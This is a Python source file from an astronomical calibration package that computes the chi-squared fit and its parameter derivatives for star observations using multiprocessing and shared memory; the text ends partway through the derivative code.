{"text": "from __future__ import division, absolute_import, print_function\nfrom past.builtins import xrange\n\nimport numpy as np\nimport os\nimport sys\nimport esutil\nimport time\n\nfrom .fgcmUtilities import _pickle_method\nfrom .fgcmUtilities import objFlagDict\nfrom .fgcmUtilities import retrievalFlagDict\n\nimport types\ntry:\n    import copy_reg as copyreg\nexcept ImportError:\n    import copyreg\n\nimport multiprocessing\nfrom multiprocessing import Pool\n\nfrom .sharedNumpyMemManager import SharedNumpyMemManager as snmm\n\ncopyreg.pickle(types.MethodType, _pickle_method)\n\n## FIXME: derivatives should not be zero when hitting the boundary (check)\n\nclass FgcmChisq(object):\n    \"\"\"\n    Class which computes the chi-squared for the fit.\n\n    parameters\n    ----------\n    fgcmConfig: FgcmConfig\n       Config object\n    fgcmPars: FgcmParameters\n       Parameter object\n    fgcmStars: FgcmStars\n       Stars object\n    fgcmLUT: FgcmLUT\n       LUT object\n\n    Config variables\n    ----------------\n    nCore: int\n       Number of cores to run in multiprocessing\n    nStarPerRun: int\n       Number of stars per run.  More can use more memory.\n    noChromaticCorrections: bool\n       If set to True, then no chromatic corrections are applied.  (bad idea).\n    \"\"\"\n\n    def __init__(self,fgcmConfig,fgcmPars,fgcmStars,fgcmLUT):\n\n        self.fgcmLog = fgcmConfig.fgcmLog\n\n        #self.fgcmLog.log('INFO','Initializing FgcmChisq')\n        self.fgcmLog.info('Initializing FgcmChisq')\n\n        # does this need to be shm'd?\n        self.fgcmPars = fgcmPars\n\n        # this is shm'd\n        self.fgcmLUT = fgcmLUT\n\n        # also shm'd\n        self.fgcmStars = fgcmStars\n\n        # need to configure\n        self.nCore = fgcmConfig.nCore\n        self.ccdStartIndex = fgcmConfig.ccdStartIndex\n        self.nStarPerRun = fgcmConfig.nStarPerRun\n        self.noChromaticCorrections = fgcmConfig.noChromaticCorrections\n\n        # these are the standard *band* I10s\n        self.I10StdBand = fgcmConfig.I10StdBand\n\n        self.illegalValue = fgcmConfig.illegalValue\n\n        if (fgcmConfig.useSedLUT and self.fgcmLUT.hasSedLUT):\n            self.useSedLUT = True\n        else:\n            self.useSedLUT = False\n\n        self.resetFitChisqList()\n\n        # this is the default number of parameters\n        self.nActualFitPars = self.fgcmPars.nFitPars\n        #self.fgcmLog.log('INFO','Default: fit %d parameters.' % (self.nActualFitPars))\n        self.fgcmLog.info('Default: fit %d parameters.' % (self.nActualFitPars))\n\n        self.clearMatchCache()\n\n\n    def resetFitChisqList(self):\n        \"\"\"\n        Reset the recorded list of chi-squared values.\n        \"\"\"\n\n        self.fitChisqs = []\n\n    def clearMatchCache(self):\n        \"\"\"\n        Clear the pre-match cache.  Note that this isn't working right.\n        \"\"\"\n        self.matchesCached = False\n        self.goodObs = None\n        self.goodStarsSub = None\n\n    def __call__(self,fitParams,fitterUnits=False,computeDerivatives=False,computeSEDSlopes=False,useMatchCache=False,debug=False,allExposures=False,includeReserve=False,fgcmGray=None):\n        \"\"\"\n        Compute the chi-squared for a given set of parameters.\n\n        parameters\n        ----------\n        fitParams: numpy array of floats\n           Array with the numerical values of the parameters (properly formatted).\n        fitterUnits: bool, default=False\n           Are the units of fitParams normalized for the minimizer?\n        computeDerivatives: bool, default=False\n           Compute fit derivatives?\n        computeSEDSlopes: bool, default=False\n           Compute SED slopes from magnitudes?\n        useMatchCache: bool, default=False\n           Cache observation matches.  Do not use!\n        debug: bool, default=False\n           Debug mode with no multiprocessing\n        allExposures: bool, default=False\n           Compute using all exposures, including flagged/non-photometric\n        includeReserve: bool, default=False\n           Compute using all objects, including those put in reserve.\n        fgcmGray: FgcmGray, default=None\n           CCD Gray information for computing with \"ccd crunch\"\n        \"\"\"\n\n        # computeDerivatives: do we want to compute the derivatives?\n        # computeSEDSlope: compute SED Slope and recompute mean mags?\n        # fitterUnits: units of th fitter or \"true\" units?\n\n        self.computeDerivatives = computeDerivatives\n        self.computeSEDSlopes = computeSEDSlopes\n        self.fitterUnits = fitterUnits\n        self.allExposures = allExposures\n        self.useMatchCache = useMatchCache\n        self.includeReserve = includeReserve\n        self.fgcmGray = fgcmGray    # may be None\n\n        self.fgcmLog.debug('FgcmChisq: computeDerivatives = %d' %\n                         (int(computeDerivatives)))\n        self.fgcmLog.debug('FgcmChisq: computeSEDSlopes = %d' %\n                         (int(computeSEDSlopes)))\n        self.fgcmLog.debug('FgcmChisq: fitterUnits = %d' %\n                         (int(fitterUnits)))\n        self.fgcmLog.debug('FgcmChisq: allExposures = %d' %\n                         (int(allExposures)))\n        self.fgcmLog.debug('FgcmChisq: includeReserve = %d' %\n                         (int(includeReserve)))\n\n        startTime = time.time()\n\n        if (self.allExposures and (self.computeDerivatives or\n                                   self.computeSEDSlopes)):\n            raise ValueError(\"Cannot set allExposures and computeDerivatives or computeSEDSlopes\")\n        self.fgcmPars.reloadParArray(fitParams,fitterUnits=self.fitterUnits)\n        self.fgcmPars.parsToExposures()\n\n\n        # and reset numbers if necessary\n        if (not self.allExposures):\n            snmm.getArray(self.fgcmStars.objMagStdMeanHandle)[:] = 99.0\n            snmm.getArray(self.fgcmStars.objMagStdMeanNoChromHandle)[:] = 99.0\n            snmm.getArray(self.fgcmStars.objMagStdMeanErrHandle)[:] = 99.0\n\n        # do we want to include reserve stars?\n        if (self.includeReserve):\n            # this mask will filter everything but RESERVED\n            resMask = 255 & ~objFlagDict['RESERVED']\n            goodStars,=np.where((snmm.getArray(self.fgcmStars.objFlagHandle) & resMask) == 0)\n        else:\n            goodStars,=np.where(snmm.getArray(self.fgcmStars.objFlagHandle) == 0)\n\n        self.fgcmLog.info('Found %d good stars for chisq' % (goodStars.size))\n\n        if (goodStars.size == 0):\n            raise ValueError(\"No good stars to fit!\")\n\n        # do global pre-matching before giving to workers, because\n        #  it is faster this way\n\n        obsObjIDIndex = snmm.getArray(self.fgcmStars.obsObjIDIndexHandle)\n        obsExpIndex = snmm.getArray(self.fgcmStars.obsExpIndexHandle)\n        obsFlag = snmm.getArray(self.fgcmStars.obsFlagHandle)\n\n        if (self.useMatchCache and self.matchesCached) :\n            # we have already done the matching\n            self.fgcmLog.info('Retrieving cached matches')\n            goodObs = self.goodObs\n            goodStarsSub = self.goodStarsSub\n        else:\n            # we need to do matching\n            preStartTime=time.time()\n            self.fgcmLog.info('Pre-matching stars and observations...')\n            goodStarsSub,goodObs = esutil.numpy_util.match(goodStars,\n                                                           obsObjIDIndex,\n                                                           presorted=True)\n\n            if (goodStarsSub[0] != 0.0):\n                raise ValueError(\"Very strange that the goodStarsSub first element is non-zero.\")\n\n            if (not self.allExposures):\n                # cut out all bad exposures and bad observations\n                gd,=np.where((self.fgcmPars.expFlag[obsExpIndex[goodObs]] == 0) &\n                             (obsFlag[goodObs] == 0))\n            else:\n                # just cut out bad observations\n                gd,=np.where(obsFlag[goodObs] == 0)\n\n            # crop out both goodObs and goodStarsSub\n            goodObs=goodObs[gd]\n            goodStarsSub=goodStarsSub[gd]\n\n            self.fgcmLog.info('Pre-matching done in %.1f sec.' %\n                             (time.time() - preStartTime))\n\n            if (self.useMatchCache) :\n                self.fgcmLog.info('Caching matches for next iteration')\n                self.matchesCached = True\n                self.goodObs = goodObs\n                self.goodStarsSub = goodStarsSub\n\n        self.nSums = 2  # chisq, nobs\n        if (self.computeDerivatives):\n            # we have one for each of the derivatives\n            # and a duplicate set to track which parameters were \"touched\"\n            self.nSums += 2*self.fgcmPars.nFitPars\n\n        self.debug = debug\n        if (self.debug):\n            # debug mode: single core\n            self.totalHandleDict = {}\n            self.totalHandleDict[0] = snmm.createArray(self.nSums,dtype='f8')\n\n            self._worker((goodStars,goodObs))\n\n            partialSums = snmm.getArray(self.totalHandleDict[0])[:]\n        else:\n            # regular multi-core\n\n\n            # make a dummy process to discover starting child number\n            proc = multiprocessing.Process()\n            workerIndex = proc._identity[0]+1\n            proc = None\n\n            self.totalHandleDict = {}\n            for thisCore in xrange(self.nCore):\n                self.totalHandleDict[workerIndex + thisCore] = (\n                    snmm.createArray(self.nSums,dtype='f8'))\n\n            # split goodStars into a list of arrays of roughly equal size\n\n            prepStartTime = time.time()\n            nSections = goodStars.size // self.nStarPerRun + 1\n            goodStarsList = np.array_split(goodStars,nSections)\n\n\n            # is there a better way of getting all the first elements from the list?\n            #  note that we need to skip the first which should be zero (checked above)\n            #  see also fgcmBrightObs.py\n            # splitValues is the first of the goodStars in each list\n            splitValues = np.zeros(nSections-1,dtype='i4')\n            for i in xrange(1,nSections):\n                splitValues[i-1] = goodStarsList[i][0]\n\n            # get the indices from the goodStarsSub matched list (matched to goodStars)\n            splitIndices = np.searchsorted(goodStars[goodStarsSub], splitValues)\n\n            # and split along the indices\n            goodObsList = np.split(goodObs,splitIndices)\n\n            workerList = list(zip(goodStarsList,goodObsList))\n\n            # reverse sort so the longest running go first\n            workerList.sort(key=lambda elt:elt[1].size, reverse=True)\n\n            self.fgcmLog.info('Using %d sections (%.1f seconds)' %\n                             (nSections,time.time()-prepStartTime))\n\n            self.fgcmLog.info('Running chisq on %d cores' % (self.nCore))\n\n            # make a pool\n            pool = Pool(processes=self.nCore)\n            pool.map(self._worker,workerList,chunksize=1)\n            pool.close()\n            pool.join()\n\n            # sum up the partial sums from the different jobs\n            partialSums = np.zeros(self.nSums,dtype='f8')\n            for thisCore in xrange(self.nCore):\n                partialSums[:] += snmm.getArray(\n                    self.totalHandleDict[workerIndex + thisCore])[:]\n\n\n        if (not self.allExposures):\n            # we get the number of fit parameters by counting which of the parameters\n            #  have been touched by the data (number of touches is irrelevant)\n\n            if (self.computeDerivatives):\n                nonZero, = np.where(partialSums[self.fgcmPars.nFitPars:\n                                                    2*self.fgcmPars.nFitPars] > 0)\n                self.nActualFitPars = nonZero.size\n                self.fgcmLog.info('Actually fit %d parameters.' % (self.nActualFitPars))\n\n            fitDOF = partialSums[-1] - float(self.nActualFitPars)\n\n            if (fitDOF <= 0):\n                raise ValueError(\"Number of parameters fitted is more than number of constraints! (%d > %d)\" % (self.fgcmPars.nFitPars,partialSums[-1]))\n\n            fitChisq = partialSums[-2] / fitDOF\n            if (self.computeDerivatives):\n                dChisqdP = partialSums[0:self.fgcmPars.nFitPars] / fitDOF\n\n            # want to append this...\n            self.fitChisqs.append(fitChisq)\n\n            self.fgcmLog.info('Chisq/dof = %.2f (%d iterations)' %\n                             (fitChisq, len(self.fitChisqs)))\n\n        else:\n            try:\n                fitChisq = self.fitChisqs[-1]\n            except:\n                fitChisq = 0.0\n\n        # free shared arrays\n        for key in self.totalHandleDict.keys():\n            snmm.freeArray(self.totalHandleDict[key])\n\n        self.fgcmLog.info('Chisq computation took %.2f seconds.' %\n                         (time.time() - startTime))\n\n        self.fgcmStars.magStdComputed = True\n        if (self.allExposures):\n            self.fgcmStars.allMagStdComputed = True\n\n        if (self.computeDerivatives):\n            return fitChisq, dChisqdP\n        else:\n            return fitChisq\n\n    def _worker(self,goodStarsAndObs):\n        \"\"\"\n        Multiprocessing worker for FgcmChisq.  Not to be called on its own.\n\n        parameters\n        ----------\n        goodStarsAndObs: tuple[2]\n           (goodStars, goodObs)\n        \"\"\"\n\n        # NOTE: No logging is allowed in the _worker method\n\n        workerStartTime = time.time()\n\n        goodStars = goodStarsAndObs[0]\n        goodObs = goodStarsAndObs[1]\n\n        if self.debug:\n            thisCore = 0\n        else:\n            thisCore = multiprocessing.current_process()._identity[0]\n\n        objMagStdMean = snmm.getArray(self.fgcmStars.objMagStdMeanHandle)\n        objMagStdMeanNoChrom = snmm.getArray(self.fgcmStars.objMagStdMeanNoChromHandle)\n        objMagStdMeanErr = snmm.getArray(self.fgcmStars.objMagStdMeanErrHandle)\n        objSEDSlope = snmm.getArray(self.fgcmStars.objSEDSlopeHandle)\n        objNGoodObs = snmm.getArray(self.fgcmStars.objNGoodObsHandle)\n\n        obsObjIDIndex = snmm.getArray(self.fgcmStars.obsObjIDIndexHandle)\n\n        obsExpIndex = snmm.getArray(self.fgcmStars.obsExpIndexHandle)\n        obsBandIndex = snmm.getArray(self.fgcmStars.obsBandIndexHandle)\n        obsLUTFilterIndex = snmm.getArray(self.fgcmStars.obsLUTFilterIndexHandle)\n        obsCCDIndex = snmm.getArray(self.fgcmStars.obsCCDHandle) - self.ccdStartIndex\n        obsFlag = snmm.getArray(self.fgcmStars.obsFlagHandle)\n        obsSecZenith = snmm.getArray(self.fgcmStars.obsSecZenithHandle)\n        obsMagADU = snmm.getArray(self.fgcmStars.obsMagADUHandle)\n        # obsMagADUErr = snmm.getArray(self.fgcmStars.obsMagADUErrHandle)\n        obsMagADUModelErr = snmm.getArray(self.fgcmStars.obsMagADUModelErrHandle)\n        obsMagStd = snmm.getArray(self.fgcmStars.obsMagStdHandle)\n\n        # and fgcmGray stuff (if desired)\n        if (self.fgcmGray is not None):\n            ccdGray = snmm.getArray(self.fgcmGray.ccdGrayHandle)\n            # this is ccdGray[expIndex, ccdIndex]\n            # and we only apply when > self.illegalValue\n            # same sign as FGCM_DUST (QESys)\n\n        # and the arrays for locking access\n        objMagStdMeanLock = snmm.getArrayBase(self.fgcmStars.objMagStdMeanHandle).get_lock()\n        obsMagStdLock = snmm.getArrayBase(self.fgcmStars.obsMagStdHandle).get_lock()\n\n\n        # cut these down now, faster later\n        obsObjIDIndexGO = obsObjIDIndex[goodObs]\n        obsBandIndexGO = obsBandIndex[goodObs]\n        obsLUTFilterIndexGO = obsLUTFilterIndex[goodObs]\n        obsExpIndexGO = obsExpIndex[goodObs]\n        obsSecZenithGO = obsSecZenith[goodObs]\n        obsCCDIndexGO = obsCCDIndex[goodObs]\n\n        # which observations are used in the fit?\n        _,obsFitUseGO = esutil.numpy_util.match(self.fgcmPars.fitBandIndex,\n                                                obsBandIndexGO)\n\n        # now refer to obsBandIndex[goodObs]\n        # add GO to index names that are cut to goodObs\n        # add GOF to index names that are cut to goodObs[obsFitUseGO]\n\n        lutIndicesGO = self.fgcmLUT.getIndices(obsLUTFilterIndexGO,\n                                               self.fgcmPars.expPWV[obsExpIndexGO],\n                                               self.fgcmPars.expO3[obsExpIndexGO],\n                                               #np.log(self.fgcmPars.expTau[obsExpIndexGO]),\n                                               self.fgcmPars.expLnTau[obsExpIndexGO],\n                                               self.fgcmPars.expAlpha[obsExpIndexGO],\n                                               obsSecZenithGO,\n                                               obsCCDIndexGO,\n                                               self.fgcmPars.expPmb[obsExpIndexGO])\n        I0GO = self.fgcmLUT.computeI0(self.fgcmPars.expPWV[obsExpIndexGO],\n                                      self.fgcmPars.expO3[obsExpIndexGO],\n                                      #np.log(self.fgcmPars.expTau[obsExpIndexGO]),\n                                      self.fgcmPars.expLnTau[obsExpIndexGO],\n                                      self.fgcmPars.expAlpha[obsExpIndexGO],\n                                      obsSecZenithGO,\n                                      self.fgcmPars.expPmb[obsExpIndexGO],\n                                      lutIndicesGO)\n        I10GO = self.fgcmLUT.computeI1(self.fgcmPars.expPWV[obsExpIndexGO],\n                                       self.fgcmPars.expO3[obsExpIndexGO],\n                                       #np.log(self.fgcmPars.expTau[obsExpIndexGO]),\n                                       self.fgcmPars.expLnTau[obsExpIndexGO],\n                                       self.fgcmPars.expAlpha[obsExpIndexGO],\n                                       obsSecZenithGO,\n                                       self.fgcmPars.expPmb[obsExpIndexGO],\n                                       lutIndicesGO) / I0GO\n\n\n        qeSysGO = self.fgcmPars.expQESys[obsExpIndexGO]\n\n        obsMagGO = obsMagADU[goodObs] + 2.5*np.log10(I0GO) + qeSysGO\n\n        if (self.fgcmGray is not None):\n            # We want to apply the \"CCD Gray Crunch\"\n            # make sure we aren't adding something crazy, but this shouldn't happen\n            # because we're filtering good observations (I hope!)\n            ok,=np.where(ccdGray[obsExpIndexGO, obsCCDIndexGO] > self.illegalValue)\n            obsMagGO[ok] += ccdGray[obsExpIndexGO[ok], obsCCDIndexGO[ok]]\n\n        # Compute the sub-selected error-squared, using model error when available\n        obsMagErr2GO = obsMagADUModelErr[goodObs]**2.\n\n        if (self.computeSEDSlopes):\n            # first, compute mean mags (code same as below.  FIXME: consolidate, but how?)\n\n            # make temp vars.  With memory overhead\n\n            wtSum = np.zeros_like(objMagStdMean,dtype='f8')\n            objMagStdMeanTemp = np.zeros_like(objMagStdMean)\n\n            np.add.at(wtSum,\n                      (obsObjIDIndexGO,obsBandIndexGO),\n                      1./obsMagErr2GO)\n            np.add.at(objMagStdMeanTemp,\n                  (obsObjIDIndexGO,obsBandIndexGO),\n                  obsMagGO/obsMagErr2GO)\n\n            # these are good object/bands that were observed\n            gd=np.where(wtSum > 0.0)\n\n            # and acquire lock to save the values\n            objMagStdMeanLock.acquire()\n\n            objMagStdMean[gd] = objMagStdMeanTemp[gd] / wtSum[gd]\n            objMagStdMeanErr[gd] = np.sqrt(1./wtSum[gd])\n\n            # and release the lock.\n            objMagStdMeanLock.release()\n\n            if (self.useSedLUT):\n                self.fgcmStars.computeObjectSEDSlopesLUT(goodStars,self.fgcmLUT)\n            else:\n                self.fgcmStars.computeObjectSEDSlopes(goodStars)\n\n        # compute linearized chromatic correction\n        deltaStdGO = 2.5 * np.log10((1.0 +\n                                   objSEDSlope[obsObjIDIndexGO,\n                                               obsBandIndexGO] * I10GO) /\n                                  (1.0 + objSEDSlope[obsObjIDIndexGO,\n                                                     obsBandIndexGO] *\n                                   self.I10StdBand[obsBandIndexGO]))\n\n        if self.noChromaticCorrections:\n            # NOT RECOMMENDED\n            deltaStdGO *= 0.0\n\n        # we can only do this for calibration stars.\n        #  must reference the full array to save\n\n        # acquire lock when we write to and retrieve from full array\n        obsMagStdLock.acquire()\n\n        obsMagStd[goodObs] = obsMagGO + deltaStdGO\n        # this is cut here\n        obsMagStdGO = obsMagStd[goodObs]\n\n        # we now have a local cut copy, so release\n        obsMagStdLock.release()\n\n        # kick out if we're just computing magstd for all exposures\n        if (self.allExposures) :\n            # kick out\n            return None\n\n        # compute mean mags\n\n        # we make temporary variables.  These are less than ideal because they\n        #  take up the full memory footprint.  MAYBE look at making a smaller\n        #  array just for the stars under consideration, but this would make the\n        #  indexing in the np.add.at() more difficult\n\n        wtSum = np.zeros_like(objMagStdMean,dtype='f8')\n        objMagStdMeanTemp = np.zeros_like(objMagStdMean)\n        objMagStdMeanNoChromTemp = np.zeros_like(objMagStdMeanNoChrom)\n\n        np.add.at(wtSum,\n                  (obsObjIDIndexGO,obsBandIndexGO),\n                  1./obsMagErr2GO)\n\n        np.add.at(objMagStdMeanTemp,\n                  (obsObjIDIndexGO,obsBandIndexGO),\n                  obsMagStdGO/obsMagErr2GO)\n\n        # And the same thing with the non-chromatic corrected values\n        np.add.at(objMagStdMeanNoChromTemp,\n                  (obsObjIDIndexGO,obsBandIndexGO),\n                  obsMagGO/obsMagErr2GO)\n\n        # which objects/bands have observations?\n        gd=np.where(wtSum > 0.0)\n\n        # and acquire lock to save the values\n        objMagStdMeanLock.acquire()\n\n        objMagStdMean[gd] = objMagStdMeanTemp[gd] / wtSum[gd]\n        objMagStdMeanNoChrom[gd] = objMagStdMeanNoChromTemp[gd] / wtSum[gd]\n        objMagStdMeanErr[gd] = np.sqrt(1./wtSum[gd])\n\n        # also make local copies for Good Observations\n        objMagStdMeanGO = objMagStdMean[obsObjIDIndexGO,obsBandIndexGO]\n        objMagStdMeanErr2GO = objMagStdMeanErr[obsObjIDIndexGO,obsBandIndexGO]**2.\n\n        # and release the lock.\n        objMagStdMeanLock.release()\n\n        # compute delta-mags\n\n        deltaMagGO = (obsMagStdGO - objMagStdMeanGO)\n\n        # Note that this is the model error when we have it\n        obsWeightGO = 1. / obsMagErr2GO\n\n        deltaMagWeightedGOF = deltaMagGO[obsFitUseGO] * obsWeightGO[obsFitUseGO]\n\n        partialChisq = np.sum(deltaMagGO[obsFitUseGO]**2. * obsWeightGO[obsFitUseGO])\n\n        partialArray = np.zeros(self.nSums,dtype='f8')\n        partialArray[-2] = partialChisq\n        partialArray[-1] = obsFitUseGO.size\n\n        if (self.computeDerivatives):\n            unitDict=self.fgcmPars.getUnitDict(fitterUnits=self.fitterUnits)\n\n            # this is going to be ugly.  wow, how many indices and sub-indices?\n            #  or does it simplify since we need all the obs on a night?\n            #  we shall see!  And speed up!\n\n            (dLdPWVGO,dLdO3GO,dLdTauGO,dLdAlphaGO) = (\n                self.fgcmLUT.computeLogDerivatives(lutIndicesGO,\n                                                   I0GO))\n\n            if (self.fgcmLUT.hasI1Derivatives):\n                (dLdPWVI1GO,dLdO3I1GO,dLdTauI1GO,dLdAlphaI1GO) = (\n                    self.fgcmLUT.computeLogDerivativesI1(lutIndicesGO,\n                                                         I0GO,\n                                                         I10GO,\n                                                         objSEDSlope[obsObjIDIndexGO,\n                                                                     obsBandIndexGO]))\n                dLdPWVGO += dLdPWVI1GO\n                dLdO3GO += dLdO3I1GO\n                dLdTauGO += dLdTauI1GO\n                dLdAlphaGO += dLdAlphaI1GO\n\n\n            # we have objMagStdMeanErr[objIndex,:] = \\Sum_{i\"} 1/\\sigma^2_{i\"j}\n            #   note that this is summed over all observations of an object in a band\n            #   so that this is already done\n\n            # we need magdLdp = \\Sum_{i'} (1/\\sigma^2_{i'j}) dL(i',j|p)\n            #   note that this is summed over all observations in a filter that\n            #   touch a given parameter\n\n            # set up arrays\n            magdLdPWVIntercept = np.zeros((self.fgcmPars.nCampaignNights,\n                                           self.fgcmPars.nFitBands))\n            magdLdPWVPerSlope = np.zeros_like(magdLdPWVIntercept)\n            magdLdPWVOffset = np.zeros_like(magdLdPWVIntercept)\n            magdLdTauIntercept = np.zeros_like(magdLdPWVIntercept)\n            magdLdTauPerSlope = np.zeros_like(magdLdPWVIntercept)\n            magdLdTauOffset = np.zeros_like(magdLdPWVIntercept)\n            magdLdAlpha = np.zeros_like(magdLdPWVIntercept)\n            magdLdO3 = np.zeros_like(magdLdPWVIntercept)\n\n            magdLdPWVScale = np.zeros(self.fgcmPars.nFitBands,dtype='f4')\n            magdLdTauScale = np.zeros_like(magdLdPWVScale)\n\n            magdLdPWVRetrievedScale = np.zeros(self.fgcmPars.nFitBands,dtype='f4')\n            magdLdPWVRetrievedOffset = np.zeros_like(magdLdPWVRetrievedScale)\n            magdLdPWVRetrievedNightlyOffset = np.zeros_like(magdLdPWVIntercept)\n\n            magdLdWashIntercept = np.zeros((self.fgcmPars.nWashIntervals,\n                                            self.fgcmPars.nFitBands))\n            magdLdWashSlope = np.zeros_like(magdLdWashIntercept)\n\n            # note below that objMagStdMeanErr2GO is the the square of the error,\n            #  and already cut to [obsObjIDIndexGO,obsBandIndexGO]\n\n            ##########\n            ## O3\n            ##########\n\n            expNightIndexGOF = self.fgcmPars.expNightIndex[obsExpIndexGO[obsFitUseGO]]\n            uNightIndex = np.unique(expNightIndexGOF)\n\n            np.add.at(magdLdO3,\n                      (expNightIndexGOF,obsBandIndexGO[obsFitUseGO]),\n                      dLdO3GO[obsFitUseGO] / obsMagErr2GO[obsFitUseGO])\n            np.multiply.at(magdLdO3,\n                           (expNightIndexGOF,obsBandIndexGO[obsFitUseGO]),\n                           objMagStdMeanErr2GO[obsFitUseGO])\n            np.add.at(partialArray[self.fgcmPars.parO3Loc:\n                                       (self.fgcmPars.parO3Loc+\n                                        self.fgcmPars.nCampaignNights)],\n                      expNightIndexGOF,\n                      deltaMagWeightedGOF * (\n                    (dLdO3GO[obsFitUseGO] -\n                     magdLdO3[expNightIndexGOF,obsBandIndexGO[obsFitUseGO]])))\n\n            partialArray[self.fgcmPars.parO3Loc +\n                         uNightIndex] *= (2.0 / unitDict['o3Unit'])\n            partialArray[self.fgcmPars.nFitPars +\n                         self.fgcmPars.parO3Loc +\n                         uNightIndex] += 1\n\n            ###########\n            ## Alpha\n            ###########\n\n            np.add.at(magdLdAlpha,\n                      (expNightIndexGOF,obsBandIndexGO[obsFitUseGO]),\n                      dLdAlphaGO[obsFitUseGO] / obsMagErr2GO[obsFitUseGO])\n            np.multiply.at(magdLdAlpha,\n                           (expNightIndexGOF,obsBandIndexGO[obsFitUseGO]),\n                           objMagStdMeanErr2GO[obsFitUseGO])\n            np.add.at(partialArray[self.fgcmPars.parAlphaLoc:\n                                       (self.fgcmPars.parAlphaLoc+\n                                        self.fgcmPars.nCampaignNights)],\n                      expNightIndexGOF,\n                      deltaMagWeightedGOF * (\n                    (dLdAlphaGO[obsFitUseGO] -\n                     magdLdAlpha[expNightIndexGOF,obsBandIndexGO[obsFitUseGO]])))\n\n            partialArray[self.fgcmPars.parAlphaLoc +\n                         uNightIndex] *= (2.0 / unitDict['alphaUnit'])\n            partialArray[self.fgcmPars.nFitPars +\n                         self.fgcmPars.parAlphaLoc +\n                         uNightIndex] += 1\n\n\n            ###########\n            ## PWV External\n            ###########\n\n            if (self.fgcmPars.hasExternalPWV and not self.fgcmPars.useRetrievedPWV):\n                hasExtGOF,=np.where(self.fgcmPars.externalPWVFlag[obsExpIndexGO[obsFitUseGO]])\n                uNightIndexHasExt = np.unique(expNightIndexGOF[hasExtGOF])\n\n                # PWV Nightly Offset\n                np.add.at(magdLdPWVOffset,\n                          (expNightIndexGOF[hasExtGOF],\n                           obsBandIndexGO[obsFitUseGO[hasExtGOF]]),\n                          dLdPWVGO[obsFitUseGO[hasExtGOF]] /\n                          obsMagErr2GO[obsFitUseGO[hasExtGOF]])\n                np.multiply.at(magdLdPWVOffset,\n                               (expNightIndexGOF[hasExtGOF],\n                                obsBandIndexGO[obsFitUseGO[hasExtGOF]]),\n                               objMagStdMeanErr2GO[obsFitUseGO[hasExtGOF]])\n                np.add.at(partialArray[self.fgcmPars.parExternalPWVOffsetLoc:\n                                           (self.fgcmPars.parExternalPWVOffsetLoc+\n                                            self.fgcmPars.nCampaignNights)],\n                          expNightIndexGOF[hasExtGOF],\n                          deltaMagWeightedGOF[hasExtGOF] * (\n                        (dLdPWVGO[obsFitUseGO[hasExtGOF]] -\n                         magdLdPWVOffset[expNightIndexGOF[hasExtGOF],\n                                         obsBandIndexGO[obsFitUseGO[hasExtGOF]]])))\n                partialArray[self.fgcmPars.parExternalPWVOffsetLoc +\n                             uNightIndexHasExt] *= (2.0 / unitDict['pwvUnit'])\n                partialArray[self.fgcmPars.nFitPars +\n                             self.fgcmPars.parExternalPWVOffsetLoc +\n                             uNightIndexHasExt] += 1\n\n\n                # PWV Global Scale\n                np.add.at(magdLdPWVScale,\n                          obsBandIndexGO[obsFitUseGO[hasExtGOF]],\n                          self.fgcmPars.expPWV[obsExpIndexGO[obsFitUseGO[hasExtGOF]]] *\n                          dLdPWVGO[obsFitUseGO[hasExtGOF]] /\n                          obsMagErr2GO[obsFitUseGO[hasExtGOF]])\n                np.multiply.at(magdLdPWVScale,\n                               obsBandIndexGO[obsFitUseGO[hasExtGOF]],\n                               objMagStdMeanErr2GO[obsFitUseGO[hasExtGOF]])\n                partialArray[self.fgcmPars.parExternalPWVScaleLoc] = 2.0 * (\n                    np.sum(deltaMagWeightedGOF[hasExtGOF] * (\n                            self.fgcmPars.expPWV[obsExpIndexGO[obsFitUseGO[hasExtGOF]]] *\n                            dLdPWVGO[obsFitUseGO[hasExtGOF]] -\n                            magdLdPWVScale[obsBandIndexGO[obsFitUseGO[hasExtGOF]]])) /\n                    unitDict['pwvGlobalUnit'])\n                partialArray[self.fgcmPars.nFitPars +\n                             self.fgcmPars.parExternalPWVScaleLoc] += 1\n\n            ################\n            ## PWV Retrieved\n            ################\n\n            if (self.fgcmPars.useRetrievedPWV):\n                hasRetrievedPWVGOF, = np.where((self.fgcmPars.compRetrievedPWVFlag[obsExpIndexGO[obsFitUseGO]] &\n                                                retrievalFlagDict['EXPOSURE_RETRIEVED']) > 0)\n\n                if hasRetrievedPWVGOF.size > 0:\n                    # note this might be zero-size on first run\n\n                    # PWV Retrieved Global Scale\n                    np.add.at(magdLdPWVRetrievedScale,\n                              obsBandIndexGO[obsFitUseGO[hasRetrievedPWVGOF]],\n                              self.fgcmPars.expPWV[obsExpIndexGO[obsFitUseGO[hasRetrievedPWVGOF]]] *\n                              dLdPWVGO[obsFitUseGO[hasRetrievedPWVGOF]] /\n                              obsMagErr2GO[obsFitUseGO[hasRetrievedPWVGOF]])\n                    np.multiply.at(magdLdPWVRetrievedScale,\n                                   obsBandIndexGO[obsFitUseGO[hasRetrievedPWVGOF]],\n                                   objMagStdMeanErr2GO[obsFitUseGO[hasRetrievedPWVGOF]])\n                    partialArray[self.fgcmPars.parRetrievedPWVScaleLoc] = 2.0 * (\n                        np.sum(deltaMagWeightedGOF[hasRetrievedPWVGOF] * (\n                                self.fgcmPars.expPWV[obsExpIndexGO[obsFitUseGO[hasRetrievedPWVGOF]]] *\n                                dLdPWVGO[obsFitUseGO[hasRetrievedPWVGOF]] -\n                                magdLdPWVRetrievedScale[obsBandIndexGO[obsFitUseGO[hasRetrievedPWVGOF]]])) /\n                        unitDict['pwvGlobalUnit'])\n                    partialArray[self.fgcmPars.nFitPars +\n                                 self.fgcmPars.parRetrievedPWVScaleLoc] += 1\n\n                    if self.fgcmPars.useNightlyRetrievedPWV:\n                        # PWV Retrieved Nightly Offset\n\n                        uNightIndexHasRetrievedPWV = np.unique(expNightIndexGOF[hasRetrievedPWVGOF])\n\n                        np.add.at(magdLdPWVRetrievedNightlyOffset,\n                                  (expNightIndexGOF[hasRetrievedPWVGOF],\n                                   obsBandIndexGO[obsFitUseGO[hasRetrievedPWVGOF]]),\n                                  dLdPWVGO[obsFitUseGO[hasRetrievedPWVGOF]] /\n                                  obsMagErr2GO[obsFitUseGO[hasRetrievedPWVGOF]])\n                        np.multiply.at(magdLdPWVRetrievedNightlyOffset,\n                                       (expNightIndexGOF[hasRetrievedPWVGOF],\n                                        obsBandIndexGO[obsFitUseGO[hasRetrievedPWVGOF]]),\n                                       objMagStdMeanErr2GO[obsFitUseGO[hasRetrievedPWVGOF]])\n                        